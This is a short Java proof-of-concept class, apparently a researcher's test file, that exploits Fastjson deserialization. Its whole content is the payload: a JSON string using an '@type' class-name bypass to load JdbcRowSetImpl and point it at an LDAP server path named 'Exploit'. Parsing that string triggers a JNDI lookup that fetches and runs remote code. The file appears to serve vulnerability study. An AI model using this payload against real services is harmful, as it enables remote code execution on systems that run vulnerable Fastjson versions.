测试

package com.nice0e3;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class POC {
    public static void main(String[] args) {
    //ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String PoC = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\", \"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\", \"autoCommit\":true}";
        JSON.parse(PoC);
    }
}